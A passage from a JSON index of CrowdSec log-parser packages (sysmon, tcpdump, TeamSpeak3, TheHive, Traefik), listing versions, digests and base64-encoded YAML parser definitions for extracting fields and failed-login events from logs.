lJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nSW1hZ2UnXSIpCiAgICAgIC0gcGFyc2VkOiBQaXBlTmFtZQogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdQaXBlTmFtZSddIikKICAgICAgLSBtZXRhOiBTeXNtb25FdmVudFR5cGUKICAgICAgICB2YWx1ZTogUGlwZUNyZWF0ZWQKICAtIGZpbHRlcjogZXZ0LlBhcnNlZC5FdmVudElEID09ICcxOCcKICAgIHN0YXRpY3M6CiAgICAgIC0gcGFyc2VkOiBQcm9jZXNzR3VpZAogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdQcm9jZXNzR3VpZCddIikKICAgICAgLSBwYXJzZWQ6IFByb2Nlc3NJZAogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdQcm9jZXNzSWQnXSIpCiAgICAgIC0gcGFyc2VkOiBJbWFnZQogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdJbWFnZSddIikKICAgICAgLSBwYXJzZWQ6IFBpcGVOYW1lCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1BpcGVOYW1lJ10iKQogICAgICAtIG1ldGE6IFN5c21vbkV2ZW50VHlwZQogICAgICAgIHZhbHVlOiBQaXBlQ29ubmVjdGVkCiAgLSBmaWx0ZXI6IGV2dC5QYXJzZWQuRXZlbnRJRCA9PSAnMTknCiAgICBzdGF0aWNzOgogICAgICAtIHBhcnNlZDogRXZlbnRUeXBlCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0V2ZW50VHlwZSddIikKICAgICAgLSBwYXJzZWQ6IE9wZXJhdGlvbgogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdPcGVyYXRpb24nXSIpCiAgICAgIC0gcGFyc2VkOiBVc2VyCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1VzZXInXSIpCiAgICAgIC0gcGFyc2VkOiBFdmVudE5hbWVzcGFjZQogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdFdmVudE5hbWVzcGFjZSddIikKICAgICAgLSBwYXJzZWQ6IE5hbWUKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nTmFtZSddIikKICAgICAgLSBwYXJzZWQ6IFF1ZXJ5CiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1F1ZXJ5J10iKQogICAgICAtIG1ldGE6IFN5c21vbkV2ZW50VHlwZQogICAgICAgIHZhbHVlOiBXbWlFdmVudEZpbHRlcgogIC0gZmlsdGVyOiBldnQuUGFyc2VkLkV2ZW50SUQgPT0gJzIwJwogICAgc3RhdGljczoKICAgICAgLSBwYXJzZWQ6IEV2ZW50VHlwZQogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdFdmVudFR5cGUnXSIpCiAgICAgIC0gcGFyc2VkOiBPcGVyYXRpb24KICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nT3BlcmF0aW9uJ10iKQogICAgICAtIHBhcnNlZDogVXNlcgogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdVc2VyJ10iKQogICAgICAtIHBhcnNlZDogVHlwZQogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdUeXBlJ10iKQogICAgICAtIHBhcnNlZDogTmFtZQogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdOYW1lJ10iKQogICAgICAtIHBhcnNlZDogRGVzdGluYXRpb24KICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nRGVzdGluYXRpb24nXSIpCiAgICAgIC0gbWV0YTogU3lzbW9uRXZlbnRUeXBlCiAgICAgICAgdmFsdWU6IFdtaUV2ZW50Q29uc3VtZXIKICAtIGZpbHRlcjogZXZ0LlBhcnNlZC5FdmVudElEID09ICcyMScKICAgIHN0YXRpY3M6CiAgICAgIC0gcGFyc2VkOiBFdmVudFR5cGUKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nRXZlbnRUeXBlJ10iKQogICAgICAtIHBhcnNlZDogT3BlcmF0aW9uCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J09wZXJhdGlvbiddIikKICAgICAgLSBwYXJzZWQ6IFVzZXIKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nVXNlciddIikKICAgICAgLSBwYXJzZWQ6IENvbnN1bWVyCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0NvbnN1bWVyJ10iKQogICAgICAtIHBhcnNlZDogRmlsdGVyCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0ZpbHRlciddIikKICAgICAgLSBtZXRhOiBTeXNtb25FdmVudFR5cGUKICAgICAgICB2YWx1ZTogV21pRXZlbnRDb25zdW1lclRvRmlsdGVyCiAgLSBmaWx0ZXI6IGV2dC5QYXJzZWQuRXZlbnRJRCA9PSAnMjInCiAgICBzdGF0aWNzOgogICAgICAtIHBhcnNlZDogUHJvY2Vzc0d1aWQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nUHJvY2Vzc0d1aWQnXSIpCiAgICAgIC0gcGFyc2VkOiBQcm9jZXNzSWQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nUHJvY2Vzc0lkJ10iKQogICAgICAtIHBhcnNlZDogUXVlcnlOYW1lCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1F1ZXJ5TmFtZSddIikKICAgICAgLSBwYXJzZWQ6IFF1ZXJ5U3RhdHVzCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1F1ZXJ5U3RhdHVzJ10iKQogICAgICAtIHBhcnNlZDogUXVlcnlSZXN1bHRzCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1F1ZXJ5UmVzdWx0cyddIikKICAgICAgLSBwYXJzZWQ6IEltYWdlCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0ltYWdlJ10iKQogICAgICAtIG1ldGE6IFN5c21vbkV2ZW50VHlwZQogICAgICAgIHZhbHVlOiBETlNFdmVudAogIC0gZmlsdGVyOiBldnQuUGFyc2VkLkV2ZW50SUQgPT0gJzIzJwogICAgc3RhdGljczoKICAgICAgLSBwYXJzZWQ6IFByb2Nlc3NHdWlkCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1Byb2Nlc3NHdWlkJ10iKQogICAgICAtIHBhcnNlZDogUHJvY2Vzc0lkCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1Byb2Nlc3NJZCddIikKICAgICAgLSBwYXJzZWQ6IFVzZXIKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nVXNlciddIikKICAgICAgLSBwYXJzZWQ6IEltYWdlCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0ltYWdlJ10iKQogICAgICAtIHBhcnNlZDogVGFyZ2V0RmlsZW5hbWUKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nVGFyZ2V0RmlsZW5hbWUnXSIpCiAgICAgIC0gcGFyc2VkOiBIYXNoZXMKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nSGFzaGVzJ10iKQogICAgICAtIHBhcnNlZDogSXNFeGVjdXRhYmxlCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0lzRXhlY3V0YWJsZSddIikKICAgICAgLSBwYXJzZWQ6IEFyY2hpdmVkCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0FyY2hpdmVkJ10iKQogICAgICAtIG1ldGE6IFN5c21vbkV2ZW50VHlwZQogICAgICAgIHZhbHVlOiBGaWxlRGVsZXRlCiAgLSBmaWx0ZXI6IGV2dC5QYXJzZWQuRXZlbnRJRCA9PSAnMjQnCiAgICBzdGF0aWNzOgogICAgICAtIHBhcnNlZDogUHJvY2Vzc0d1aWQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nUHJvY2Vzc0d1aWQnXSIpCiAgICAgIC0gcGFyc2VkOiBQcm9jZXNzSWQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nUHJvY2Vzc0lkJ10iKQogICAgICAtIHBhcnNlZDogVXNlcgogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdVc2VyJ10iKQogICAgICAtIHBhcnNlZDogSW1hZ2UKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nSW1hZ2UnXSIpCiAgICAgIC0gcGFyc2VkOiBTZXNzaW9uCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1Nlc3Npb24nXSIpCiAgICAgIC0gcGFyc2VkOiBDbGllbnRJbmZvCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0NsaWVudEluZm8nXSIpCiAgICAgIC0gcGFyc2VkOiBIYXNoZXMKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nSGFzaGVzJ10iKQogICAgICAtIHBhcnNlZDogSXNFeGVjdXRhYmxlCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0lzRXhlY3V0YWJsZSddIikKICAgICAgLSBwYXJzZWQ6IEFyY2hpdmVkCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0FyY2hpdmVkJ10iKQogICAgICAtIG1ldGE6IFN5c21vbkV2ZW50VHlwZQogICAgICAgIHZhbHVlOiBDbGlwYm9hcmRDaGFuZ2UKICAtIGZpbHRlcjogZXZ0LlBhcnNlZC5FdmVudElEID09ICcyMjUnCiAgICBzdGF0aWNzOgogICAgICAtIG1ldGE6IFN5c21vbkV2ZW50VHlwZQogICAgICAgIHZhbHVlOiBTeXNtb25JbnRlcm5hbEVycm9yCgpzdGF0aWNzOgogIC0gbWV0YTogc2VydmljZQogICAgdmFsdWU6IHN5c21vbgogIC0gbWV0YTogUnVsZU5hbWUKICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdSdWxlTmFtZSddIik=", "description": "Parse sysmon events", "author": "crowdsecurity", "labels": null }, "crowdsecurity/tcpdump-logs": { "path": "parsers/s01-parse/crowdsecurity/tcpdump-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "e51892c14d137cc4f12d2203c851a953e743f262561c48ff6108bd4222fff254", "deprecated": false } }, "long_description": "QSBwYXJzZXIgZm9yIHRjcGR1bXAgbG9ncy4KClRvIG1ha2UgdGhpcyBwYXJzZXIgcmVsZXZhbnQsIHlvdSBzaG91bGQgaGF2ZSBhZGQgdGNwZHVtcCBjb21tYW5kIHRoYXQgbG9nIHRjcCBzY2FuIDoKCkFuIGV4YW1wbGU6CmBgYGJhc2gKY2F0IDw8RU9GID4gL2V0Yy9zeXN0ZW1kL3N5c3RlbS90Y3BkdW1wLnNlcnZpY2UKW1VuaXRdCkRlc2NyaXB0aW9uPVRDUERVTVAKCltTZXJ2aWNlXQpUeXBlPXNpbXBsZQpVc2VyPXJvb3QKRXhlY1N0YXJ0PS9iaW4vc2ggLWMgJ3RjcGR1bXAgLWwgLW4gLWkgZXRoMCAidGNwW3RjcGZsYWdzXSAmICh0Y3Atc3luKSAhPSAwIiA+PiAvdmFyL2xvZy90Y3BkdW1wLm91dCcKUmVzdGFydD1vbi1mYWlsdXJlCgpbSW5zdGFsbF0KV2FudGVkQnk9bXVsdGktdXNlci50YXJnZXQKRU9GCgpzeXN0ZW1jdGwgZGFlbW9uLXJlbG9hZApzeXN0ZW1jdGwgZW5hYmxlIHRjcGR1bXAuc2VydmljZQpzZXJ2aWNlIHRjcGR1bXAgc3RhcnQKYGBgCgo=", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSA9PSAndGNwZHVtcCciCm5hbWU6IGNyb3dkc2VjdXJpdHkvdGNwZHVtcC1sb2dzCiNkZWJ1ZzogdHJ1ZQpkZXNjcmlwdGlvbjogIlBhcnNlIHRjcGR1bXAgcmF3IGxvZ3MiCmdyb2s6CiAgbmFtZTogIlRDUERVTVBfT1VUUFVUIgogIGFwcGx5X29uOiBtZXNzYWdlCnN0YXRpY3M6CiAgICAtIG1ldGE6IHNlcnZpY2UKICAgICAgdmFsdWU6IHRjcAogICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICB2YWx1ZTogdGNwX3N5bgogICAgLSBtZXRhOiBzb3VyY2VfaXAKICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuc291cmNlX2lwIgogICAgLSBtZXRhOiBkZXN0X2lwCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLmRlc3RfaXAiCiAgICAtIG1ldGE6IGRlc3RfcG9ydAogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5kZXN0X3BvcnQiCiAgICAtIHBhcnNlZDogIm5ld19jb25uZWN0aW9uIgogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC50Y3BmbGFncyBjb250YWlucyAnUycgPyAndHJ1ZScgOiAnZmFsc2UnIg==", "description": "Parse tcpdump raw logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/teamspeak3-logs": { "path": "parsers/s01-parse/crowdsecurity/teamspeak3-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "ad06951c76f4f270e7c15325011735c715e476a3c1edb8aba086b05b0c86970f", "deprecated": false }, "0.2": { "digest": "255a289431812be0e9ff76638dfea59e1c8c6512137db367ac40c51b43d32eb2", "deprecated": false } }, "long_description": "QSBwYXJzZXIgZm9yIHRlYW1zcGVhazMgc2VydmVyIGxvZ3MuCgpBcyB0ZWFtc3BlYWszIGxvZ2dpbmcgaXMgbGltaXRlZCwgb25seSBmYWlsZWQgbG9naW5zIHZpYSBzc2gvdGVsbmV0IGFyZSBwYXJzZWQuCg==", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSA9PSAndHMzJyIKbmFtZTogY3Jvd2RzZWN1cml0eS90ZWFtc3BlYWszLWxvZ3MKI2RlYnVnOiB0cnVlCmRlc2NyaXB0aW9uOiAiUGFyc2UgdGVhbXNwZWFrMyBzZXJ2ZXIgbG9ncyIKcGF0dGVybl9zeW50YXg6CiAgTk9QSVBFOiAnW2EtekEtWlxzXSsnCiAgVFMzX0FVVEhfRkFJTDogJ14le1RJTUVTVEFNUF9JU084NjAxOnRpbWVzdGFtcH1cfCV7Tk9QSVBFOmxldmVsfVx8JXtOT1BJUEU6c2VydmljZX1cfCV7Tk9QSVBFOmVtcHR5fVx8cXVlcnkgZnJvbSAle0lOVDpjaGFufSBcWz8le0lQOnNyY19pcH1cXT86JXtJTlQ6c3JjX3BvcnR9IGF0dGVtcHRlZCB0byBsb2dpbiB3aXRoIGFjY291bnQgIiV7REFUQTpsb2dpbn0iIGFuZCBmYWlsZWQhJCcKIzIwMjItMTItMjkgMTE6Mzk6MjYuMDA5NzU2fElORk8gICAgfFF1ZXJ5ICAgICAgICAgfCAgIHxxdWVyeSBmcm9tIDExIDEyNy4wLjAuMTo0ODQyNiBhdHRlbXB0ZWQgdG8gbG9naW4gd2l0aCBhY2NvdW50ICJ0b3RvIiBhbmQgZmFpbGVkIQojMjAyMy0wMS0xMyAwMDo0NDoyNy41NDMzMzN8SU5GTyAgICB8UXVlcnkgICAgICAgICB8ICAgfHF1ZXJ5IGZyb20gMTAxIFtmZDAwOmZlZWQ6ZGVhZDpiZWVmOjQwNWY6MjZmZjpmZTA2OmQ0Yl06MzQyMzIgYXR0ZW1wdGVkIHRvIGxvZ2luIHdpdGggYWNjb3VudCAidG90byIgYW5kIGZhaWxlZCEKCmdyb2s6CiAgbmFtZTogVFMzX0FVVEhfRkFJTAogIGFwcGx5X29uOiBtZXNzYWdlCiAgc3RhdGljczoKICAgIC0gbWV0YTogc2VydmljZQogICAgICB2YWx1ZTogdGVhbXNwZWFrMwogICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICB2YWx1ZTogdHMzX2ZhaWxfYXV0aAogICAgLSBtZXRhOiBzb3VyY2VfaXAKICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuc3JjX2lwIgogICAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudGltZXN0YW1wCg==", "description": "Parse teamspeak3 server logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/thehive-logs": { "path": "parsers/s01-parse/crowdsecurity/thehive-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "777997fbca7b59c7cd67a890e298ff8cbc648013a8e9db484ec1754318b3e389", "deprecated": false } }, "long_description": "VGhlaGl2ZSBhdXRoZW50aWNhdGlvbiBmYWlsdXJlIHBhcnNlci4KClJlZmVyZW5jZToKaHR0cHM6Ly9kb2NzLnN0cmFuZ2ViZWUuY29tL3RoZWhpdmUvc2V0dXAv", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCm5hbWU6IGNyb3dkc2VjdXJpdHkvdGhlaGl2ZS1sb2dzCmRlc2NyaXB0aW9uOiAiUGFyc2UgVGhlaGl2ZSBsb2dzIgpmaWx0ZXI6ICJldnQuUGFyc2VkLnByb2dyYW0gPT0gJ3RoZWhpdmUnIgpub2RlczoKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICdcW2luZm9cXSBvLnQucy5BY2Nlc3NMb2dGaWx0ZXIgXFsuKlxdICV7SVA6c291cmNlX2lwfSBQT1NUIC9hcGkvdjEvbG9naW4gdG9vayAle0lOVH1tcyBhbmQgcmV0dXJuZWQgNDAxICV7SU5UfSBieXRlcycKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKc3RhdGljczoKICAtIG1ldGE6IGxvZ190eXBlCiAgICB2YWx1ZTogdGhlaGl2ZV9mYWlsZWRfYXV0aAogIC0gbWV0YTogc291cmNlX2lwCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zb3VyY2VfaXAiCiAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICB2YWx1ZTogdG90bw==", "description": "Parse Thehive logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/traefik-logs": { "path": "parsers/s01-parse/crowdsecurity/traefik-logs.yaml", "stage": "s01-parse", "version": "0.5", "versions": { "0.1": { "digest": "3dcf2e166ad138a69d009bfd364e30dee50debc5ed882ed9d8bbf52f2509c600", "deprecated": false }, "0.2": { "digest": "a461c760c7a669f5c7aab35587c65f0b08b145002ff77f4907e0b94d997b32c8", "deprecated": false }, "0.3": { "digest": "e7691b4dddb010d87945c12753ce6e5c9da4d069694227000b0cc6cdf66f4810", "deprecated": false }, "0.4": { "digest": "36eed0ae5e3fdf0a59538f0af2262311cadc81d7d5c9fba9051cf69c41cd3533", "deprecated": false }, "0.5": { "digest": "5b2ad9def31d7314a701a8f3be0f7e80e15a036dc0d13ab2bd45cf04eb30a121", "deprecated": false } }, "long_description": "PiBDby1hdXRob3JlZCB3aXRoIChodHRwczovL2dpdGh1Yi5jb20vZ21lbG9kaWUpCgpUaGlzIHRyYWVmaWsgcGFyc2VyIHN1cHBvcnRzIGFjY2VzcyBsb2dzIGluIHRoZSBDb21tb24gTG9nIEZvcm1hdCAoW2RlZmluZWQgaGVyZSBmb3IgVHJhZWZpa10oaHR0cHM6Ly9kb2MudHJhZWZpay5pby90cmFlZmlrL29ic2VydmFiaWxpdHkvYWNjZXNzLWxvZ3MvI2Zvcm1hdCkpIGFuZCBKU09OIGZvcm1hdHMuCg==", "content": "IyBjby1hdXRob3JlZCB3aXRoIGdtZWxvZGllIChodHRwczovL2dpdGh1Yi5jb20vZ21lbG9kaWUpCm5hbWU6IGNyb3dkc2VjdXJpdHkvdHJhZWZpay1sb2dzCmRlc2NyaXB0aW9uOiAiUGFyc2UgVHJhZWZpayBhY2Nlc3MgbG9ncyIKZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtIHN0YXJ0c1dpdGggJ3RyYWVmaWsnIgojZGVidWc6IHRydWUKb25zdWNjZXNzOiBuZXh0X3N0YWdlCnBhdHRlcm5fc3ludGF4OgogIFRSQUVGSUtfUk9VVEVSOiAnKCV7VVNFUn1AJXtVUklIT1NUfXxcLSknCiAgVFJBRUZJS19TRVJWRVJfVVJMOiAnKCV7VVJJfXxcLSknCiAgTlVNQkVSX01JTlVTOiAnWzAtOS1dKycKICBOR0lOWEFDQ0VTUzI6ICcle0lQT1JIT1NUOnJlbW90ZV9hZGRyfSAtICV7TkdVU0VSOnJlbW90ZV91c2VyfSBcWyV7SFRUUERBVEU6dGltZV9sb2NhbH1cXSAiJXtXT1JEOnZlcmJ9ICV7REFUQTpyZXF1ZXN0fSBIVFRQLyV7TlVNQkVSOmh0dHBfdmVyc2lvbn0iICV7TlVNQkVSX01JTlVTOnN0YXR1c30gJXtOVU1CRVJfTUlOVVM6Ym9keV9ieXRlc19zZW50fSAiJXtOT1REUVVPVEU6aHR0cF9yZWZlcmVyfSIgIiV7Tk9URFFVT1RFOmh0dHBfdXNlcl9hZ2VudH0iJwpub2RlczoKICAtIGdyb2s6ICMgQ0xGIHBhcnNlcgogICAgICBwYXR0ZXJuOiAnJXtOR0lOWEFDQ0VTUzJ9ICV7TlVNQkVSOm51bWJlcl9vZl9yZXF1ZXN0c19yZWNlaXZlZF9zaW5jZV90cmFlZmlrX3N0YXJ0ZWR9ICIle1RSQUVGSUtfUk9VVEVSOnRyYWVmaWtfcm91dGVyX25hbWV9IiAiJXtUUkFFRklLX1NFUlZFUl9VUkw6dHJhZWZpa19zZXJ2ZXJfdXJsfSIgJXtOVU1CRVI6cmVxdWVzdF9kdXJhdGlvbl9pbl9tc31tcycKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgIG9uc3VjY2VzczogbmV4dF9zdGFnZQogIC0gZ3JvazoKICAgIG5vZGVzOgogICAgICAtIGdyb2s6CiAgICAgICAgICBwYXR0ZXJuOiAnJXtJUE9SSE9TVDpyZW1vdGVfYWRkcn0nCiAgICAgICAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuUGFyc2VkLm1lc3NhZ2UsICJDbGllbnRBZGRyIikKICAgICAgLSBncm9rOgogICAgICAgICAgcGF0dGVybjogJyV7SVBPUkhPU1Q6ZGVzdF9hZGRyfScKICAgICAgICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgIkNsaWVudEFkZHIiKQogICAgICAtIGdyb2s6CiAgICAgICAgICBwYXR0ZXJuOiAnJXtJUE9SSE9TVDpyZXF1ZXN0X2FkZHJ9JwogICAgICAgICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5tZXNzYWdlLCAiUmVxdWVzdEFkZHIiKQogICAgICAtIGdyb2s6CiAgICAgICAgICBwYXR0ZXJuOiAnJXtVU0VSTkFNRTpzZXJ2aWNlX2FkZHJ9JwogICAgICAgICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5tZXNzYWdlLCAiU2VydmljZUFkZHIiKQogICAgICAtIGdyb2s6CiAgICAgICAgI